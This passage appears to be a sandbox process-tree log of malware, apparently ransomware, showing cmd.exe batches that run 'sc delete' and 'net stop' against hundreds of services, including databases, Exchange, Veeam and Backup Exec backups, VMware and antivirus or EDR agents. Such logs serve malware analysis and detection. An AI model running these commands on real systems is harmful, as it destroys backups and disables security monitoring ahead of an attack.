- Launches sc.exe
PID:1504
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLFDLauncher4⤵PID:228
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLSERVER4⤵PID:1124
-
-
C:\Windows\SysWOW64\sc.exesc delete QcSoftService4⤵PID:1936
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQLServerOLAPService4⤵PID:1464
-
-
C:\Windows\SysWOW64\sc.exesc delete VMTools4⤵PID:1156
-
-
C:\Windows\SysWOW64\sc.exesc delete VGAuthService4⤵
- Launches sc.exe
PID:1980
-
-
C:\Windows\SysWOW64\sc.exesc delete MSDTC4⤵
- Launches sc.exe
PID:1056
-
-
C:\Windows\SysWOW64\sc.exesc delete TeamViewer4⤵PID:1580
-
-
C:\Windows\SysWOW64\sc.exesc delete ReportServer4⤵PID:2096
-
-
C:\Windows\SysWOW64\sc.exesc delete RabbitMQ4⤵PID:2292
-
-
C:\Windows\SysWOW64\sc.exesc delete "AHS SERVICE"4⤵PID:2444
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sense Shield Service"4⤵PID:2580
-
-
C:\Windows\SysWOW64\sc.exesc delete SSMonitorService4⤵
- Launches sc.exe
PID:2772
-
-
C:\Windows\SysWOW64\sc.exesc delete SSSyncService4⤵PID:2968
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdAppService13004⤵PID:1800
-
-
C:\Windows\SysWOW64\sc.exesc delete MSSQL$SQL20084⤵
- Launches sc.exe
PID:2284
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLAgent$SQL20084⤵PID:2520
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdTaskService13004⤵PID:2592
-
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdUpgradeService13004⤵PID:2932
-
-
C:\Windows\SysWOW64\sc.exesc delete VirboxWebServer4⤵PID:1980
-
-
C:\Windows\SysWOW64\sc.exesc delete jhi_service4⤵PID:2188
-
-
C:\Windows\SysWOW64\sc.exesc delete LMS4⤵PID:2544
-
-
C:\Windows\SysWOW64\sc.exesc delete "FontCache3.0.0.0"4⤵
- Launches sc.exe
PID:2612
-
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵
- Launches sc.exe
PID:2900
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services""3⤵PID:108
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1ClrAgent4⤵
- Launches sc.exe
PID:1088
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1TNSListener4⤵
- Launches sc.exe
PID:1800
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵PID:232
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleServiceORCL4⤵PID:1656
-
-
C:\Windows\SysWOW64\sc.exesc delete aspnet_state @sc delete Redis4⤵PID:1056
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL4⤵PID:2308
-
-
C:\Windows\SysWOW64\sc.exesc delete JhTask4⤵PID:2508
-
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵
- Launches sc.exe
PID:2720
-
-
C:\Windows\SysWOW64\sc.exesc delete XT800Service_Personal4⤵
- Launches sc.exe
PID:2932
-
-
C:\Windows\SysWOW64\sc.exesc delete MCService4⤵
- Launches sc.exe
PID:1660
-
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService4⤵PID:2308
-
-
C:\Windows\SysWOW64\sc.exesc delete allpass_redisservice_port211604⤵PID:2168
-
-
C:\Windows\SysWOW64\sc.exesc delete "Flash Helper Service"4⤵PID:2804
-
-
C:\Windows\SysWOW64\sc.exesc delete "Kiwi Syslog Server"4⤵PID:2820
-
-
C:\Windows\SysWOW64\sc.exesc delete "UWS HiPriv Services"4⤵PID:2116
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"3⤵PID:1616
-
C:\Windows\SysWOW64\sc.exesc delete "UWS LoPriv Services"4⤵PID:1580
-
-
C:\Windows\SysWOW64\sc.exesc delete ftnlsv34⤵PID:1504
-
-
C:\Windows\SysWOW64\sc.exesc delete ftnlses34⤵PID:1936
-
-
C:\Windows\SysWOW64\sc.exesc delete FxService4⤵PID:2184
-
-
C:\Windows\SysWOW64\sc.exesc delete "UtilDev Web Server Pro"4⤵PID:2332
-
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdwks4⤵PID:2604
-
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdsrv4⤵PID:2840
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client Guard"4⤵
- Launches sc.exe
PID:3008
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client"4⤵
- Launches sc.exe
PID:2108
-
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE FileTranS"4⤵PID:2476
-
-
C:\Windows\SysWOW64\sc.exesc delete wwbizsrv4⤵PID:2644
-
-
C:\Windows\SysWOW64\sc.exesc delete qemu-ga4⤵PID:2840
-
-
C:\Windows\SysWOW64\sc.exesc delete AlibabaProtect4⤵PID:1936
-
-
C:\Windows\SysWOW64\sc.exesc delete ZTEVdservice4⤵PID:2100
-
-
C:\Windows\SysWOW64\sc.exesc delete kbasesrv4⤵PID:2060
-
-
C:\Windows\SysWOW64\sc.exesc delete MMRHookService4⤵PID:2456
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL4⤵PID:2808
-
-
C:\Windows\SysWOW64\sc.exesc delete IpOverUsbSvc4⤵PID:2996
-
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1004⤵PID:2860
-
-
C:\Windows\SysWOW64\sc.exesc delete KuaiYunTools4⤵PID:2176
-
-
C:\Windows\SysWOW64\sc.exesc delete KMSELDI4⤵PID:2452
-
-
C:\Windows\SysWOW64\sc.exesc delete btPanel4⤵PID:2524
-
-
C:\Windows\SysWOW64\sc.exesc delete Protect_2345Explorer4⤵PID:2844
-
-
C:\Windows\SysWOW64\sc.exesc delete 2345PicSvc4⤵PID:2756
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-agent4⤵PID:232
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-server4⤵PID:2176
-
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-worker4⤵PID:2544
-
-
C:\Windows\SysWOW64\sc.exesc delete QQCertificateService4⤵PID:2788
-
-
C:\Windows\SysWOW64\sc.exesc delete OracleRemExecService4⤵PID:908
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSDaemon4⤵
- Launches sc.exe
PID:2972
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSUserSvr4⤵PID:2200
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSDownSvr4⤵PID:1208
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSStorageSvr4⤵PID:2636
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSDataProcSvr4⤵PID:2100
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSGatewaySvr4⤵PID:2496
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSMediaSvr4⤵PID:2600
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSLoginSvr4⤵PID:2892
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSTomcat64⤵PID:2140
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSMysqld4⤵PID:2944
-
-
C:\Windows\SysWOW64\sc.exesc delete GPSFtpd4⤵PID:2192
-
-
C:\Windows\SysWOW64\sc.exesc delete "Zabbix Agent"4⤵PID:2680
-
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentAccelerator4⤵PID:2612
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""3⤵PID:1792
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService4⤵PID:224
-
-
C:\Windows\SysWOW64\sc.exesc delete REPLICA4⤵PID:1088
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCATS4⤵PID:1728
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCAVMCU4⤵PID:2324
-
-
C:\Windows\SysWOW64\sc.exesc delete RtcQms4⤵
- Launches sc.exe
PID:2596
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCMEETINGMCU4⤵PID:2848
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCIMMCU4⤵
- Launches sc.exe
PID:3040
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCDATAMCU4⤵PID:2100
-
-
C:\Windows\SysWOW64\sc.exesc delete RTCCDR4⤵PID:2448
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectEventService164⤵PID:2712
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectQueueService164⤵
- Launches sc.exe
PID:2660
-
-
C:\Windows\SysWOW64\sc.exesc delete SPAdminV44⤵PID:1708
-
-
C:\Windows\SysWOW64\sc.exesc delete SPSearchHostController4⤵
- Launches sc.exe
PID:2180
-
-
C:\Windows\SysWOW64\sc.exesc delete SPTimerV44⤵PID:2444
-
-
C:\Windows\SysWOW64\sc.exesc delete SPTraceV44⤵PID:2632
-
-
C:\Windows\SysWOW64\sc.exesc delete OSearch164⤵PID:2764
-
-
C:\Windows\SysWOW64\sc.exesc delete ProjectCalcService164⤵PID:2164
-
-
C:\Windows\SysWOW64\sc.exesc delete c2wts4⤵
- Launches sc.exe
PID:552
-
-
C:\Windows\SysWOW64\sc.exesc delete AppFabricCachingService4⤵PID:2652
-
-
C:\Windows\SysWOW64\sc.exesc delete ADWS4⤵PID:1124
-
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoard574⤵PID:2828
-
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoardRCService574⤵PID:2808
-
-
C:\Windows\SysWOW64\sc.exesc delete vsvnjobsvc4⤵PID:1708
-
-
C:\Windows\SysWOW64\sc.exesc delete VisualSVNServer4⤵PID:2280
-
-
C:\Windows\SysWOW64\sc.exesc delete "FlexNet Licensing Service 64"4⤵PID:2096
-
-
C:\Windows\SysWOW64\sc.exesc delete BestSyncSvc4⤵PID:2632
-
-
C:\Windows\SysWOW64\sc.exesc delete LPManager4⤵PID:2228
-
-
C:\Windows\SysWOW64\sc.exesc delete MediatekRegistryWriter4⤵
- Launches sc.exe
PID:1808
-
-
C:\Windows\SysWOW64\sc.exesc delete RaAutoInstSrv_RT28704⤵
- Launches sc.exe
PID:3036
-
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup104⤵PID:2124
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLANYs_sem54⤵PID:1476
-
-
C:\Windows\SysWOW64\sc.exesc delete CASLicenceServer4⤵PID:996
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLService4⤵PID:2904
-
-
C:\Windows\SysWOW64\sc.exesc delete semwebsrv4⤵PID:2304
-
-
C:\Windows\SysWOW64\sc.exesc delete TbossSystem4⤵PID:3036
-
-
C:\Windows\SysWOW64\sc.exesc delete ErpEnvSvc4⤵PID:2160
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.DispatchService4⤵PID:2484
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.UpdateService4⤵PID:1476
-
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Config.WindowsService4⤵PID:2548
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"3⤵PID:1628
-
C:\Windows\SysWOW64\net.exenet stop HaoZipSvc4⤵PID:204
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop HaoZipSvc5⤵PID:1852
-
-
-
C:\Windows\SysWOW64\net.exenet stop "igfxCUIService2.0.0.0"4⤵PID:1524
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"5⤵PID:228
-
-
-
C:\Windows\SysWOW64\net.exenet stop Realtek11nSU4⤵PID:2124
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Realtek11nSU5⤵PID:2160
-
-
-
C:\Windows\SysWOW64\net.exenet stop xenlite4⤵PID:2300
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop xenlite5⤵PID:2352
-
-
-
C:\Windows\SysWOW64\net.exenet stop XenSvc4⤵PID:2656
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop XenSvc5⤵PID:2812
-
-
-
C:\Windows\SysWOW64\net.exenet stop Apache2.24⤵PID:3016
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.25⤵PID:1524
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Synology Drive VSS Service x64"4⤵PID:788
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"5⤵PID:2616
-
-
-
C:\Windows\SysWOW64\net.exenet stop DellDRLogSvc4⤵PID:2896
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc5⤵PID:2736
-
-
-
C:\Windows\SysWOW64\net.exenet stop FirebirdGuardianDeafaultInstance4⤵PID:3040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance5⤵PID:2276
-
-
-
C:\Windows\SysWOW64\net.exenet stop JWEM3DBAUTORun4⤵PID:2648
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun5⤵PID:2712
-
-
-
C:\Windows\SysWOW64\net.exenet stop JWRinfoClientService4⤵PID:2840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService5⤵PID:1504
-
-
-
C:\Windows\SysWOW64\net.exenet stop JWService4⤵PID:108
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop JWService5⤵PID:2060
-
-
-
C:\Windows\SysWOW64\net.exenet stop Service24⤵PID:2300
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Service25⤵PID:2228
-
-
-
C:\Windows\SysWOW64\net.exenet stop RapidRecoveryAgent4⤵PID:2888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent5⤵PID:2124
-
-
-
C:\Windows\SysWOW64\net.exenet stop FirebirdServerDefaultInstance4⤵PID:968
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance5⤵PID:2052
-
-
-
C:\Windows\SysWOW64\net.exenet stop AdobeARMservice4⤵PID:2892
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AdobeARMservice5⤵PID:2304
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamCatalogSvc4⤵PID:2656
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc5⤵PID:2240
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeanBackupSvc4⤵PID:2884
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc5⤵PID:2148
-
-
-
C:\Windows\SysWOW64\net.exenet stop VeeamTransportSvc4⤵PID:2640
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc5⤵PID:2208
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdAppService13004⤵PID:2552
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13005⤵PID:1972
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdTaskService13004⤵PID:2168
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13005⤵PID:1932
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdUpgradeService13004⤵PID:2932
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService13005⤵PID:2476
-
-
-
C:\Windows\SysWOW64\net.exenet stop TPlusStdWebService13004⤵PID:788
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"3⤵PID:1448
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService14⤵PID:1688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService15⤵PID:1524
-
-
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService24⤵PID:1800
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService25⤵PID:1660
-
-
-
C:\Windows\SysWOW64\net.exenet stop "memcached Server"4⤵PID:2068
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "memcached Server"5⤵PID:2084
-
-
-
C:\Windows\SysWOW64\net.exenet stop Apache2.44⤵PID:2168
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.45⤵PID:2208
-
-
-
C:\Windows\SysWOW64\net.exenet stop UFIDAWebService4⤵PID:2668
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFIDAWebService5⤵PID:2820
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSComplianceAudit4⤵PID:3068
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit5⤵PID:1056
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology4⤵PID:2228
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology5⤵PID:2620
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeAntispamUpdate4⤵PID:2756
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate5⤵PID:2940
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeCompliance4⤵PID:784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance5⤵PID:2224
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDagMgmt4⤵PID:2572
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt5⤵PID:2644
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDelivery4⤵PID:2980
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery5⤵PID:3024
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDiagnostics4⤵PID:1344
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics5⤵PID:2148
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeEdgeSync4⤵PID:2304
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync5⤵PID:2992
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFastSearch4⤵PID:2972
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch5⤵PID:3000
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFrontEndTransport4⤵PID:2100
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport5⤵PID:2244
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHM4⤵PID:3040
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHM5⤵PID:2836
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL20084⤵PID:2592
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20085⤵PID:2760
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHMRecovery4⤵PID:1924
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery5⤵PID:228
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeImap44⤵PID:1656
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeImap45⤵PID:1344
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIMAP4BE4⤵PID:2052
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE5⤵PID:2716
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS4⤵PID:2896
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS5⤵PID:2388
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxAssistants4⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants5⤵PID:2584
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxReplication4⤵PID:1644
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxReplication5⤵PID:2296
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeNotificationsBroker4⤵PID:3024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"3⤵PID:516
-
C:\Windows\SysWOW64\sc.exesc delete "DAService_TCP"4⤵
- Launches sc.exe
PID:1556
-
-
C:\Windows\SysWOW64\sc.exesc delete "eCard-TTransServer"4⤵PID:2108
-
-
C:\Windows\SysWOW64\sc.exesc delete eCardMPService4⤵PID:2316
-
-
C:\Windows\SysWOW64\sc.exesc delete EnergyDataService4⤵
- Launches sc.exe
PID:2564
-
-
C:\Windows\SysWOW64\sc.exesc delete UI0Detect4⤵PID:2748
-
-
C:\Windows\SysWOW64\sc.exesc delete K3MobileService4⤵PID:2976
-
-
